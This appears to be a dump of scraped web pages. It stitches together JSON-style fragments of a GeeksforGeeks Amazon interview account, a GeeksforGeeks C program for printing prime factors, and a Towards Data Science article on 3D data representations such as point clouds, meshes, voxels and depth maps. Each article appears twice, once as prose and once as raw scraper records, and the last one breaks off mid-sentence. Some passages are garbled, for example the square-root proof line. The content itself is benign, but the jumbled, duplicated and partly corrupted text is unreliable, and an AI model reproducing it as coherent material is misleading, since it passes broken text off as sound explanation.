round (1 hour 40 minutes)Discussed on my current roles and responsibilities" }, { "code": null, "e": 28135, "s": 28100, "text": "why do you want to join to Amazon?" }, { "code": null, "e": 28186, "s": 28135, "text": "What are your accomplishments in your role so far?" }, { "code": null, "e": 28251, "s": 28186, "text": "What are the things that you’re not good at and need to improve?" }, { "code": null, "e": 28347, "s": 28251, "text": "Serialization of Binary tree. Given 1 traversal is it possible to re-construct the binary tree." }, { "code": null, "e": 28542, "s": 28347, "text": "Write code to reconstruct the tree given any 2 traversals.I took in-order and post-order traversal, discussed the approach and wrote recursive solution.Was then asked the approach for iterative." }, { "code": null, "e": 28623, "s": 28542, "text": "Round 4: Culture Fit RoundThis surprisingly had a data structure question first." }, { "code": null, "e": 28933, "s": 28623, "text": "1) Given a n (large number) lists of customers who visited n webpages on n (large number) days, design a data structure to get customers who have visited the website on exactly “k” days and should have visited at least “m” distinct pages altogether.Was then asked to improvise the solution as much as possible" }, { "code": null, "e": 28983, "s": 28933, "text": "2) Details on my previous project and job profile" }, { "code": null, "e": 29014, "s": 28983, "text": "3) Challenging situation faced" }, { "code": null, "e": 29041, "s": 29014, "text": "4) Why should we hire you?" }, { "code": null, "e": 29081, "s": 29041, "text": "Then, he answered some of my questions." }, { "code": null, "e": 29170, "s": 29081, "text": "Round 5: Coding, Algorithm and data structures (Technical round with a senior developer)" }, { "code": null, "e": 29207, "s": 29170, "text": "Started with questions straight away" }, { "code": null, "e": 29269, "s": 29207, "text": "1) Least common ancestor of a binary tree (Solution and Code)" }, { "code": null, "e": 29434, "s": 29269, "text": "2) Given a 2 dimensional array sorted vertically and horizontally, search for an element and return true if the element is present. (Algorithm, Code and Complexity)" }, { "code": null, "e": 29442, "s": 29434, "text": "Example" }, { "code": null, "e": 29687, "s": 29442, "text": " 1 5 13 29\n\n 11 16 25 38 \n\n 45 49 52 57\n\n 51 54 59 66" }, { "code": null, "e": 29715, "s": 29687, "text": "3) Something on count sort." }, { "code": null, "e": 29755, "s": 29715, "text": "4) Print binary tree in zig-zag order.." }, { "code": null, "e": 29786, "s": 29755, "text": "5) Gold box problem (Approach)" }, { "code": null, "e": 29872, "s": 29786, "text": "There are ‘n’ gold boxes placed in a row, each having different number of gold coins." }, { "code": null, "e": 30073, "s": 29872, "text": "2 players play a game, where the motive is to collect the maximum number of gold coins. Each player can see how many coins are present in each box, but can get a box from either end only, on his turn." }, { "code": null, "e": 30151, "s": 30073, "text": "Design a strategy such that Player1 wins (Assuming both players play smartly)" }, { "code": null, "e": 30296, "s": 30151, "text": "I got the hiring call after couple of days, after my last round of interview. They said feedback was very positive and they’re happy to hire me." }, { "code": null, "e": 30323, "s": 30296, "text": "Was so happy Thank you.." }, { "code": null, "e": 30534, "s": 30325, "text": "If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help." }, { "code": null, "e": 30541, "s": 30534, "text": "Amazon" }, { "code": null, "e": 30563, "s": 30541, "text": "Interview Experiences" }, { "code": null, "e": 30570, "s": 30563, "text": "Amazon" }, { "code": null, "e": 30668, "s": 30570, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 30719, "s": 30668, "text": "Amazon Interview Experience for SDE-1 (Off-Campus)" }, { "code": null, "e": 30761, "s": 30719, "text": "Amazon AWS Interview Experience for SDE-1" }, { "code": null, "e": 30797, "s": 30761, "text": "Difference between ANN, CNN and RNN" }, { "code": null, "e": 30833, "s": 30797, "text": "Zoho Interview | Set 3 (Off-Campus)" }, { "code": null, "e": 30861, "s": 30833, "text": "Amazon Interview Experience" }, { "code": null, "e": 30899, "s": 30861, "text": "Amazon Interview Experience for SDE-1" }, { "code": null, "e": 30971, "s": 30899, "text": "JPMorgan Chase & Co. Code for Good Internship Interview Experience 2021" }, { "code": null, "e": 31017, "s": 30971, "text": "Amazon Interview Experience (Off-Campus) 2022" }, { "code": null, "e": 31067, "s": 31017, "text": "Directi Interview | Set 7 (Programming Questions)" } ]
C Program for efficiently print all prime factors of a given number - GeeksforGeeks
07 Oct, 2021 Given a number n, write an efficient function to print all prime factors of n. For example, if the input number is 12, then output should be “2 2 3”. And if the input number is 315, then output should be “3 3 5 7”. Following are the steps to find all prime factors. 1) While n is divisible by 2, print 2 and divide n by 2. 2) After step 1, n must be odd. Now start a loop from i = 3 to square root of n. While i divides n, print i and divide n by i, increment i by 2 and continue. 3) If n is a prime number and is greater than 2, then n will not become 1 by above two steps. So print n if it is greater than 2. C // C Program to print all prime factors#include <math.h>#include <stdio.h> // A function to print all prime factors of a given number nvoid primeFactors(int n){ // Print the number of 2s that divide n while (n % 2 == 0) { printf("%d ", 2); n = n / 2; } // n must be odd at this point. So we can skip // one element (Note i = i +2) for (int i = 3; i <= sqrt(n); i = i + 2) { // While i divides n, print i and divide n while (n % i == 0) { printf("%d ", i); n = n / i; } } // This condition is to handle the case when n // is a prime number greater than 2 if (n > 2) printf("%d ", n);} /* Driver program to test above function */int main(){ int n = 315; primeFactors(n); return 0;} 3 3 5 7 Time Complexity: O(n1/2) Auxiliary Space: O(1) How does this work? The steps 1 and 2 take care of composite numbers and step 3 takes care of prime numbers. To prove that the complete algorithm works, we need to prove that steps 1 and 2 actually take care of composite numbers. This is clear that step 1 takes care of even numbers. And after step 1, all remaining prime factor must be odd (difference of two prime factors must be at least 2), this explains why i is incremented by 2. Now the main part is, the loop runs till square root of n not till. To prove that this optimization works, let us consider the following property of composite numbers. Every composite number has at least one prime factor less than or equal to square root of itself. This property can be proved using counter statement. Let a and b be two factors of n such that a*b = n. If both are greater than √n, then a.b > √n, * √n, which contradicts the expression “a * b = n”. In step 2 of the above algorithm, we run a loop and do following in loop a) Find the least prime factor i (must be less than √n, ) b) Remove all occurrences i from n by repeatedly dividing n by i. c) Repeat steps a and b for divided n and i = i + 2. The steps a and b are repeated till n becomes either 1 or a prime number.Please refer complete article on Efficient program to print all prime factors of a given number for more details! subham348 subhammahato348 Prime Number prime-factor C Programs Mathematical Mathematical Prime Number Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. C Program to read contents of Whole File Producer Consumer Problem in C C program to find the length of a string Exit codes in C/C++ with Examples Regular expressions in C Program for Fibonacci numbers Write a program to print all permutations of a given string C++ Data Types Set in C++ Standard Template Library (STL) Coin Change | DP-7
[ { "code": null, "e": 25008, "s": 24980, "text": "\n07 Oct, 2021" }, { "code": null, "e": 25620, "s": 25008, "text": "Given a number n, write an efficient function to print all prime factors of n. For example, if the input number is 12, then output should be “2 2 3”. And if the input number is 315, then output should be “3 3 5 7”. Following are the steps to find all prime factors. 1) While n is divisible by 2, print 2 and divide n by 2. 2) After step 1, n must be odd. Now start a loop from i = 3 to square root of n. While i divides n, print i and divide n by i, increment i by 2 and continue. 3) If n is a prime number and is greater than 2, then n will not become 1 by above two steps. So print n if it is greater than 2. " }, { "code": null, "e": 25622, "s": 25620, "text": "C" }, { "code": "// C Program to print all prime factors#include <math.h>#include <stdio.h> // A function to print all prime factors of a given number nvoid primeFactors(int n){ // Print the number of 2s that divide n while (n % 2 == 0) { printf(\"%d \", 2); n = n / 2; } // n must be odd at this point. So we can skip // one element (Note i = i +2) for (int i = 3; i <= sqrt(n); i = i + 2) { // While i divides n, print i and divide n while (n % i == 0) { printf(\"%d \", i); n = n / i; } } // This condition is to handle the case when n // is a prime number greater than 2 if (n > 2) printf(\"%d \", n);} /* Driver program to test above function */int main(){ int n = 315; primeFactors(n); return 0;}", "e": 26408, "s": 25622, "text": null }, { "code": null, "e": 26416, "s": 26408, "text": "3 3 5 7" }, { "code": null, "e": 26443, "s": 26418, "text": "Time Complexity: O(n1/2)" }, { "code": null, "e": 26465, "s": 26443, "text": "Auxiliary Space: O(1)" }, { "code": null, "e": 27805, "s": 26465, "text": "How does this work? The steps 1 and 2 take care of composite numbers and step 3 takes care of prime numbers. To prove that the complete algorithm works, we need to prove that steps 1 and 2 actually take care of composite numbers. This is clear that step 1 takes care of even numbers. And after step 1, all remaining prime factor must be odd (difference of two prime factors must be at least 2), this explains why i is incremented by 2. Now the main part is, the loop runs till square root of n not till. To prove that this optimization works, let us consider the following property of composite numbers. Every composite number has at least one prime factor less than or equal to square root of itself. This property can be proved using counter statement. Let a and b be two factors of n such that a*b = n. If both are greater than √n, then a.b > √n, * √n, which contradicts the expression “a * b = n”. In step 2 of the above algorithm, we run a loop and do following in loop a) Find the least prime factor i (must be less than √n, ) b) Remove all occurrences i from n by repeatedly dividing n by i. c) Repeat steps a and b for divided n and i = i + 2. The steps a and b are repeated till n becomes either 1 or a prime number.Please refer complete article on Efficient program to print all prime factors of a given number for more details! " }, { "code": null, "e": 27815, "s": 27805, "text": "subham348" }, { "code": null, "e": 27831, "s": 27815, "text": "subhammahato348" }, { "code": null, "e": 27844, "s": 27831, "text": "Prime Number" }, { "code": null, "e": 27857, "s": 27844, "text": "prime-factor" }, { "code": null, "e": 27868, "s": 27857, "text": "C Programs" }, { "code": null, "e": 27881, "s": 27868, "text": "Mathematical" }, { "code": null, "e": 27894, "s": 27881, "text": "Mathematical" }, { "code": null, "e": 27907, "s": 27894, "text": "Prime Number" }, { "code": null, "e": 28005, "s": 27907, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28046, "s": 28005, "text": "C Program to read contents of Whole File" }, { "code": null, "e": 28077, "s": 28046, "text": "Producer Consumer Problem in C" }, { "code": null, "e": 28118, "s": 28077, "text": "C program to find the length of a string" }, { "code": null, "e": 28152, "s": 28118, "text": "Exit codes in C/C++ with Examples" }, { "code": null, "e": 28177, "s": 28152, "text": "Regular expressions in C" }, { "code": null, "e": 28207, "s": 28177, "text": "Program for Fibonacci numbers" }, { "code": null, "e": 28267, "s": 28207, "text": "Write a program to print all permutations of a given string" }, { "code": null, "e": 28282, "s": 28267, "text": "C++ Data Types" }, { "code": null, "e": 28325, "s": 28282, "text": "Set in C++ Standard Template Library (STL)" } ]
How to represent 3D Data?. A visual guide to help choose data... | by Florent Poux, Ph.D. | Towards Data Science
A visual guide to help choose data representations among 3D point clouds, meshes, parametric models, depth-maps, RGB-D, multi-view images, voxels... The 3D datasets in our computerized ecosystem — of which an increasing number comes directly from reality capture devices — are found in different forms that vary in both the structure and the properties. Interestingly, they can be somehow mapped with success to point clouds thanks to its canonical nature. This article gives you the main 3D data representations modes to choose from when bindings point clouds to your application. A point cloud is a set of data points in a three-dimensional coordinate system. These points are spatially defined by X, Y, Z coordinates and often represent the envelope of an object. Reality capture devices obtain the external surface in its three dimensions to generate the point cloud. These are commonly obtained through Photogrammetry (example above), LiDAR (Terrestrial Laser Scanning, Mobile Mapping, Aerial LiDAR as simulated below), depth sensing, and more recently deep learning through Generative Adversarial Networks. Each technique holds several specificities influencing the quality and completeness of the data, and you can already see the difference between a full 360° capture vs a classical aerial LiDAR acquisition. This extends the scope of this specific article and will be covered in another issue, or in the formation from the 3D Geodata Academy: learngeodata.eu Point clouds provide simple yet efficient 3D data representations, and I summarize below the main operations, benefits, and disadvantages that come with them. Main Operations Transformations: You can multiply the points in the point list with linear transformation matrices. Combinations: “Objects” can be combined by merging points list together. Rendering: Projects and draws the points onto an image plane Main Benefits Fast rendering Exact representation Fast transformations Main Disadvantages Numerous points (obj. curve, exact representation) High memory consumption Limited combination operations While fast rendering and transformations make a direct inspection of a point cloud handy, they often are not directly integrated into commonly used three-dimensional applications. However, recent developments show a trend for better support even within pure mesh-based rendering platforms with a recent example within the Unreal 4 game engine. A common process is to derive a mesh using a suitable surface reconstruction technique. There are several techniques for transforming point cloud into a three-dimensional explicit surface, some of which are covered in the article below. towardsdatascience.com Let us further dive into 3D models as a representation to better grasp the range of possibilities. Almost all 3D models can be divided into two categories. Solid: These models define the volume of the object they represent. Solid models are mostly used for engineering and medical simulations and are usually built with Constructive Solid Geometry or voxels assemblies. Shell or boundary (B-Reps): These models represent the surface, i.e. the boundary of the object, not its volume. Almost all visual models used in reality capture workflows, games and film are boundary representations. Solid and shell modeling can create functionally identical objects. Differences between them are mostly variations in the way they are created and edited and conventions of use in various fields and differences in types of approximations between the model and reality. Three main strategies permit to describe a point cloud through a 3D models. Constructive Solid Geometry, Implicit surfaces (+Parametric modeling), and Boundary representations (B-Reps). While Constructive Solid Geometry is very interesting and will be shortly discussed, the most common 3D models are B-Reps as 3D meshes. Let us first extend on theses. A mesh is a geometric data structure that allows the representation of surface subdivisions by a set of polygons. Meshes are particularly used in computer graphics, to represent surfaces, or in modeling, to discretize a continuous or implicit surface. A mesh is made up of vertices (or vertex), connected by edges making faces (or facets) of a polygonal shape. When all faces are triangles, we speak of triangular meshing. These are the most common in Reality Capture workflows. Quadrilateral meshes are also very interesting but often obtained through mesh optimizations techniques to get more compact representations. It is also possible to use volumetric meshes, which connect the vertices by tetrahedrons, hexahedrons (cuboids), and prisms. These so-called meshes are based on the boundary representation, which depends on the wire-frame model (The object is simplified by 3D lines, each edge of the object is represented by a line in the model). Let us extend the theory. Boundary Representation The Boundary representation of 3D models is mainly composed of two parts: the topology (organization of elements) and the geometry (surfaces, curves, and points). The main topological items are faces, edges, and vertices and I schematized below a simple B-Rep for a cube. Operations Transformations: All points are transformed as with the wire-frame model (Multiply the points in the point list with linear matrices), besides, the surface equations or normal vectors can be transformed. Combinations: Objects can be combined by grouping point lists and edges to each other; Operations on polygons (Divide based on intersections, Remove the redundant polygons, Combine them ... Rendering: Hidden surface or line algorithms can be used because the surfaces of the objects are known so that visibility can be calculated. Benefits Well-adopted representation Model generation via “new-gen scanning” Transformations are quick and easy Disadvantages High memory requirements Expensive combinations Curved objects are approximated Meshes are a great way to explicit the geometry of a point cloud, and often permits to widely reduce the number of needed points as vertices. On top, it permits to get a sense of the relationship between objects through the faces connectivities. However, meshing is an interpolation of the base point cloud geometry, and can only represent the data to a certain degree, linked to the complexity of the mesh. There exist a multitude of strategies to best mesh a point cloud, but this often demands to have some theoretical background and to know which parameter’s to adjust for an optimal result. A voxel can be seen as a 3D base cubical unit that can be used to represent 3D models. Its 2D analogy is the pixel, the smallest raster unit. As such, a voxel-based model is a discretized assembly of “3D pixels”, and is most often associated with solid modeling. In the case of point cloud data, one can represent each point as a voxel of size x, to get a “filled” view of empty spaces between points. It is mostly associated with data structures such as octrees, and permit to average a certain amount of points per voxel unit depending on the level of refinement needed (see example in the image below). This is very interesting, and I will cover the theory as well as the implementation in another dedicated article. While this is practical for rendering and smooth visualization, it comes to approximating the initial geometry coupled with aliasing artifacts and can give false information if the volume information is used unproperly. However, due to the very structured grid layout of voxel models, it can be very handy for processing tasks such as classification through 3D convolutional neural networks. “Parametric” is used to describe a shape’s ability to change by setting a parameter to a targeted value that modifies the underlying geometry. This is e.g. very handy if you want to model “walls” by just setting up their orientation, length, width, and height. Parametric modeling is then suited to using computing capabilities that can model component attributes with an aim of real-world behavior. Parametric models use a composition of feature-based (parametric, as describe in a later section), solid and surface modeling to allow the manipulation of the model’s attributes. One of the most important features of parametric modeling is that interlinked attributes can automatically change values. In other words, parametric modeling allows defining entire “classes of shapes”, not just specific instances. This however often demands a very “smart” structuration of the underlying point cloud geometry, to decompose the model entity into sub-entities (E.g. segments) that are aggregated in classes. This process immensely benefits from object detection scenarios and the Smart Point Cloud Infrastructure as defined in the following article. towardsdatascience.com Often, these parametric models can also be combined or extracted by combining 2D CAD drawings that interpolate the point cloud shape, and layers it depending on the class of elements. These parametric models are oftentimes consuming to create but are the ones that give the most value to the 3D point cloud data. These come through massive semantic enrichment and additional triggers on the relations between objects constituting the scene. Now, we jump to raster-based point cloud representation. The first one is the depth-map. A depth map is an image or an “image channel” that contains information relating to the distance of the points constituting the scene from a single viewpoint. While we are used to working with RGB images, the simplest form of expressing the depth is to color-code on one channel, with intensity values. Bright pixels then have the highest value and dark pixels have the lowest values. And that is it. A depth image just presents values according to how far are objects, where pixels color gives the distance from the camera. 💡 Hint: The depth map is related to the Z-buffer, where the “Z” relates to the direction of the central axis of view of a camera and not to the absolute Z scene coordinate. This form of point cloud representation is fine if you just need surface information linked to a known point of view. This is the case for autonomous driving scenarios where you can very quickly map the environment at each position through a 360 projected depth map. However, the big counterpart is that you are not working with 3D data, rather 2.5D as you cannot represent 2 different values for on line sight. Here are operations, benefits, and disadvantages depth-map come with: Operations Transformations: Multiply the pixels in the image with linear transformation matrices Combinations: Objects can be combined by merging the points lists. Rendering: Draws pixels on the image plane Benefits Low memory requirements Very well know Raster format Transformations are quick and easy Disadvantages Essentially a 2.5-D representation Cannot describe a full 3D scene on its own Weak topology Third, representing 3D data as RGB-D images have become popular in recent years thanks to the popularity of RGB-D sensors. RGB-D data provides a 2,5D information about the captured 3D object by attaching the depth map along with 2D color information (RGB). Besides being inexpensive, RGB-D data are simple yet effective representations for 3D objects to be used for different tasks such as identity recognition [1], pose regression [2], and correspondence [1]. The number of available RGB-D datasets is huge compared to other 3D datasets such as point clouds or 3D meshes and as such is the preferred way of training deep learning models through extensive training datasets. Secondly, projecting 3D data into another 2D space is another representation of raw 3D data where the projected data encapsulates some of the key properties of the original 3D shape [3]. Multiple projections exist where each of them converts the 3D object into a 2D grid with specific information. Projecting 3D data into the spherical and cylindrical domains (e.g. [4]) has been a common practice for representing the 3D data in such format. Such projections help the projected data to be invariant to rotations around the principal axis of the projection and ease the processing of 3D data due to the Euclidean grid structure of the resulting projections. However, such representations are not optimal for complicated 3D computer vision tasks such as dense correspondence due to the information loss in projection [5]. Now, we move to what is the lesser visual component of point clouds: implicit representation. It just is a way to represent point clouds by a set of shape descriptors as described in the articles provided in [6,7]. These can be seen as a signature of the 3D shape to provide a compact representation of 3D objects by capturing some key properties to ease processing and computations (E.g. expressed as a.csv file) x y z surface volume omn. ver. 9.9 30.5 265.3 334.5 103.3 4.6 0.0 -27.0 71.6 274.2 18.2 12.5 1.3 0.4 -11.8 48.9 273.8 113.2 620.4 3.7 0.7 26.9 43.8 266.1 297.1 283.6 3.9 0.0 42.9 61.7 273.7 0.1 0.0 0.3 0.8 -23.1 36.5 263.3 26.3 14.8 1.6 0.0 -9.5 73.1 268.2 24.0 11.4 2.2 0.0 32.2 70.9 284.0 36.0 139.1 1.7 0.8 -20.5 20.7 263.2 34.0 3.4 1.8 0.8 -2.3 73.6 262.2 28.2 15.6 2.6 1.0 The nature and the meaning of this signature depend on the characteristic of the shape descriptor used and its definition. For example, global descriptors provide a concise yet informative description for the whole 3D shape while local descriptors provide a more localized representation for smaller patches in the shape. The work of Kazmi et al. [6], Zhang et al. [7] and more recently Rostami et al. [8] provide comprehensive surveys about such 3D shape descriptors. Implicit representation is very handy as part of a processing pipeline, and to ease data transfer among different infrastructures. It is also very useful for advanced processes that benefit from informative features hard to visually represent. Fifth, we can access 3D information from a multi-view image, which is a 2D-based 3D representation where one accesses the information by matching several 2D images for the same object from different points of view. Representing 3D data in this manner can lead to learning multiple feature sets to reduce the effect of noise, incompleteness, occlusion, and illumination problems on the captured data. However, the question of how many views are enough to model the 3D shape is still open, and linked to the acquisition methodology for photogrammetric reconstructions: a 3D object with an insufficiently small number of views might not capture the properties of the whole 3D shape (especially for 3D scenes) and might cause an over-fitting problem. Both volumetric and multi-view data are more suitable for analyzing rigid data where the deformations are minimal. 3D Data has a tremendous potential for building Machine Learning systems, especially Deep Learning. However, currently, true 3D data representations such as 3D meshes need to be considered regarding another Deep Learning paradigm. Indeed, the vast majority of deep learning is performed on Euclidean data. This includes datatypes in the 1-dimensional and 2-dimensional domain. Images, text, audio, and many others are all euclidean data. Of this, particularly the RGB-D datasets are then nowadays able to build on to of massive labeled libraries if one seeks to automatically detect objects in the scene. But meshes or structured point clouds could benefit from exploiting their rich underlying relationships. This is achieved for example by embedding them in a graph structure (a data structure that consists of nodes (entities) that are connected with edges (relationships)), but this makes them Non-Euclidean (which meshes are by nature), thus non-usable by classical Machine Learning architectures. For this, an emerging field called Geometric Deep Learning (GDL) aims to build neural networks that can learn from non-euclidean data. As nicely put by a fellow scientist Flawnson Tong in this recommend article (here): The notion of relationships, connections, and shared properties is a concept that is naturally occurring in humans and nature. Understanding and learning from these connections is something we take for granted. Geometric Deep Learning is significant because it allows us to take advantage of data with inherent relationships, connections, and shared properties. Thus, every 3D Data Representation can be used within a Machine Learning project, but some will be for more experimental projects (non-euclidean representations), whereas euclidean data can directly be ingested in your application If you read up until now, kudos to you 😆 ! To summarize, the 3D data representation world is super flexible, and you now have the knowledge to make an informed decision for choosing your data representation: 3D Point clouds are simple and efficient but lack connectivity; 3D models found as 3D meshes, Parametric models, voxel assemblies propose dedicated levels of additional information but approximate the base data; Depth maps are well known and compact but essentially deal with 2.5D data; Implicit representation encompasses all of the above but is hardly visual; Multi-view is complimentary and leverage Raster imagery but is prone to failure case for optimal viewpoint selection. And as always, if you want to go beyond, you will find several references below. You can also start the journey to excellence today by taking a formation at the Geodata Academy. learngeodata.eu 0. Poux, F.; Billen, R. Voxel-Based 3D Point Cloud Semantic Segmentation: Unsupervised Geometric and Relationship Featuring vs Deep Learning Methods. ISPRS International Journal of Geo-Information 2019, 8, 213. 1. Erdogmus, N.; Marcel, S. Spoofing in 2D face recognition with 3D masks and anti-spoofing with Kinect. In Proceedings of the 6th International Conference on Biometrics: Theory, Applications and Systems (BTAS); IEEE, 2013; pp. 1–6. 2. Fanelli, G.; Weise, T.; Gall, J.; Gool, L. Van Real-Time Head Pose Estimation from Consumer Depth Cameras. 2011, 101–110. 3. Houshiar, H. Documentation and mapping with 3D point cloud processing, University of Würzburg, 2012. 4. Cao, Z.; Huang, Q.; Ramani, K. 3D Object Classification via Spherical Projections. 2017. 5. Sinha, A.; Bai, J.; Ramani, K. Deep learning 3D shape surfaces using geometry images. In Proceedings of the European Conference on Computer Vision (ECCV); Amsterdam, Germany, 2016; pp. 223–240. 6. Kazmi, I.K.; You, L.; Zhang, J.J. A survey of 2D and 3D shape descriptors. In Proceedings of the 10th International Conference Computer Graphics, Imaging, and Visualization (CGIV); IEEE, 2013; pp. 1–10. 7. Shin, D.; Fowlkes, C.C.; Hoiem, D. Pixels, voxels, and views: A study of shape representations for single-view 3D object shape prediction. 2018. 8. Rostami, R.; Bashiri, F.S.; Rostami, B.; Yu, Z. A Survey on Data-Driven 3D Shape Descriptors. Computer Graphics Forum 2018, 00, 1–38.
[ { "code": null, "e": 321, "s": 172, "text": "A visual guide to help choose data representations among 3D point clouds, meshes, parametric models, depth-maps, RGB-D, multi-view images, voxels..." }, { "code": null, "e": 754, "s": 321, "text": "The 3D datasets in our computerized ecosystem — of which an increasing number comes directly from reality capture devices — are found in different forms that vary in both the structure and the properties. Interestingly, they can be somehow mapped with success to point clouds thanks to its canonical nature. This article gives you the main 3D data representations modes to choose from when bindings point clouds to your application." }, { "code": null, "e": 1285, "s": 754, "text": "A point cloud is a set of data points in a three-dimensional coordinate system. These points are spatially defined by X, Y, Z coordinates and often represent the envelope of an object. Reality capture devices obtain the external surface in its three dimensions to generate the point cloud. These are commonly obtained through Photogrammetry (example above), LiDAR (Terrestrial Laser Scanning, Mobile Mapping, Aerial LiDAR as simulated below), depth sensing, and more recently deep learning through Generative Adversarial Networks." }, { "code": null, "e": 1625, "s": 1285, "text": "Each technique holds several specificities influencing the quality and completeness of the data, and you can already see the difference between a full 360° capture vs a classical aerial LiDAR acquisition. This extends the scope of this specific article and will be covered in another issue, or in the formation from the 3D Geodata Academy:" }, { "code": null, "e": 1641, "s": 1625, "text": "learngeodata.eu" }, { "code": null, "e": 1800, "s": 1641, "text": "Point clouds provide simple yet efficient 3D data representations, and I summarize below the main operations, benefits, and disadvantages that come with them." }, { "code": null, "e": 1816, "s": 1800, "text": "Main Operations" }, { "code": null, "e": 1916, "s": 1816, "text": "Transformations: You can multiply the points in the point list with linear transformation matrices." }, { "code": null, "e": 1989, "s": 1916, "text": "Combinations: “Objects” can be combined by merging points list together." }, { "code": null, "e": 2050, "s": 1989, "text": "Rendering: Projects and draws the points onto an image plane" }, { "code": null, "e": 2064, "s": 2050, "text": "Main Benefits" }, { "code": null, "e": 2079, "s": 2064, "text": "Fast rendering" }, { "code": null, "e": 2100, "s": 2079, "text": "Exact representation" }, { "code": null, "e": 2121, "s": 2100, "text": "Fast transformations" }, { "code": null, "e": 2140, "s": 2121, "text": "Main Disadvantages" }, { "code": null, "e": 2191, "s": 2140, "text": "Numerous points (obj. curve, exact representation)" }, { "code": null, "e": 2215, "s": 2191, "text": "High memory consumption" }, { "code": null, "e": 2246, "s": 2215, "text": "Limited combination operations" }, { "code": null, "e": 2590, "s": 2246, "text": "While fast rendering and transformations make a direct inspection of a point cloud handy, they often are not directly integrated into commonly used three-dimensional applications. However, recent developments show a trend for better support even within pure mesh-based rendering platforms with a recent example within the Unreal 4 game engine." }, { "code": null, "e": 2827, "s": 2590, "text": "A common process is to derive a mesh using a suitable surface reconstruction technique. There are several techniques for transforming point cloud into a three-dimensional explicit surface, some of which are covered in the article below." }, { "code": null, "e": 2850, "s": 2827, "text": "towardsdatascience.com" }, { "code": null, "e": 2949, "s": 2850, "text": "Let us further dive into 3D models as a representation to better grasp the range of possibilities." }, { "code": null, "e": 3006, "s": 2949, "text": "Almost all 3D models can be divided into two categories." }, { "code": null, "e": 3220, "s": 3006, "text": "Solid: These models define the volume of the object they represent. Solid models are mostly used for engineering and medical simulations and are usually built with Constructive Solid Geometry or voxels assemblies." }, { "code": null, "e": 3438, "s": 3220, "text": "Shell or boundary (B-Reps): These models represent the surface, i.e. the boundary of the object, not its volume. Almost all visual models used in reality capture workflows, games and film are boundary representations." }, { "code": null, "e": 3707, "s": 3438, "text": "Solid and shell modeling can create functionally identical objects. Differences between them are mostly variations in the way they are created and edited and conventions of use in various fields and differences in types of approximations between the model and reality." }, { "code": null, "e": 4060, "s": 3707, "text": "Three main strategies permit to describe a point cloud through a 3D models. Constructive Solid Geometry, Implicit surfaces (+Parametric modeling), and Boundary representations (B-Reps). While Constructive Solid Geometry is very interesting and will be shortly discussed, the most common 3D models are B-Reps as 3D meshes. Let us first extend on theses." }, { "code": null, "e": 4539, "s": 4060, "text": "A mesh is a geometric data structure that allows the representation of surface subdivisions by a set of polygons. Meshes are particularly used in computer graphics, to represent surfaces, or in modeling, to discretize a continuous or implicit surface. A mesh is made up of vertices (or vertex), connected by edges making faces (or facets) of a polygonal shape. When all faces are triangles, we speak of triangular meshing. These are the most common in Reality Capture workflows." }, { "code": null, "e": 5037, "s": 4539, "text": "Quadrilateral meshes are also very interesting but often obtained through mesh optimizations techniques to get more compact representations. It is also possible to use volumetric meshes, which connect the vertices by tetrahedrons, hexahedrons (cuboids), and prisms. These so-called meshes are based on the boundary representation, which depends on the wire-frame model (The object is simplified by 3D lines, each edge of the object is represented by a line in the model). Let us extend the theory." }, { "code": null, "e": 5061, "s": 5037, "text": "Boundary Representation" }, { "code": null, "e": 5333, "s": 5061, "text": "The Boundary representation of 3D models is mainly composed of two parts: the topology (organization of elements) and the geometry (surfaces, curves, and points). The main topological items are faces, edges, and vertices and I schematized below a simple B-Rep for a cube." }, { "code": null, "e": 5344, "s": 5333, "text": "Operations" }, { "code": null, "e": 5548, "s": 5344, "text": "Transformations: All points are transformed as with the wire-frame model (Multiply the points in the point list with linear matrices), besides, the surface equations or normal vectors can be transformed." }, { "code": null, "e": 5738, "s": 5548, "text": "Combinations: Objects can be combined by grouping point lists and edges to each other; Operations on polygons (Divide based on intersections, Remove the redundant polygons, Combine them ..." }, { "code": null, "e": 5879, "s": 5738, "text": "Rendering: Hidden surface or line algorithms can be used because the surfaces of the objects are known so that visibility can be calculated." }, { "code": null, "e": 5888, "s": 5879, "text": "Benefits" }, { "code": null, "e": 5916, "s": 5888, "text": "Well-adopted representation" }, { "code": null, "e": 5956, "s": 5916, "text": "Model generation via “new-gen scanning”" }, { "code": null, "e": 5991, "s": 5956, "text": "Transformations are quick and easy" }, { "code": null, "e": 6005, "s": 5991, "text": "Disadvantages" }, { "code": null, "e": 6030, "s": 6005, "text": "High memory requirements" }, { "code": null, "e": 6053, "s": 6030, "text": "Expensive combinations" }, { "code": null, "e": 6085, "s": 6053, "text": "Curved objects are approximated" }, { "code": null, "e": 6681, "s": 6085, "text": "Meshes are a great way to explicit the geometry of a point cloud, and often permits to widely reduce the number of needed points as vertices. On top, it permits to get a sense of the relationship between objects through the faces connectivities. However, meshing is an interpolation of the base point cloud geometry, and can only represent the data to a certain degree, linked to the complexity of the mesh. There exist a multitude of strategies to best mesh a point cloud, but this often demands to have some theoretical background and to know which parameter’s to adjust for an optimal result." }, { "code": null, "e": 6944, "s": 6681, "text": "A voxel can be seen as a 3D base cubical unit that can be used to represent 3D models. Its 2D analogy is the pixel, the smallest raster unit. As such, a voxel-based model is a discretized assembly of “3D pixels”, and is most often associated with solid modeling." }, { "code": null, "e": 7401, "s": 6944, "text": "In the case of point cloud data, one can represent each point as a voxel of size x, to get a “filled” view of empty spaces between points. It is mostly associated with data structures such as octrees, and permit to average a certain amount of points per voxel unit depending on the level of refinement needed (see example in the image below). This is very interesting, and I will cover the theory as well as the implementation in another dedicated article." }, { "code": null, "e": 7793, "s": 7401, "text": "While this is practical for rendering and smooth visualization, it comes to approximating the initial geometry coupled with aliasing artifacts and can give false information if the volume information is used unproperly. However, due to the very structured grid layout of voxel models, it can be very handy for processing tasks such as classification through 3D convolutional neural networks." }, { "code": null, "e": 8054, "s": 7793, "text": "“Parametric” is used to describe a shape’s ability to change by setting a parameter to a targeted value that modifies the underlying geometry. This is e.g. very handy if you want to model “walls” by just setting up their orientation, length, width, and height." }, { "code": null, "e": 8372, "s": 8054, "text": "Parametric modeling is then suited to using computing capabilities that can model component attributes with an aim of real-world behavior. Parametric models use a composition of feature-based (parametric, as describe in a later section), solid and surface modeling to allow the manipulation of the model’s 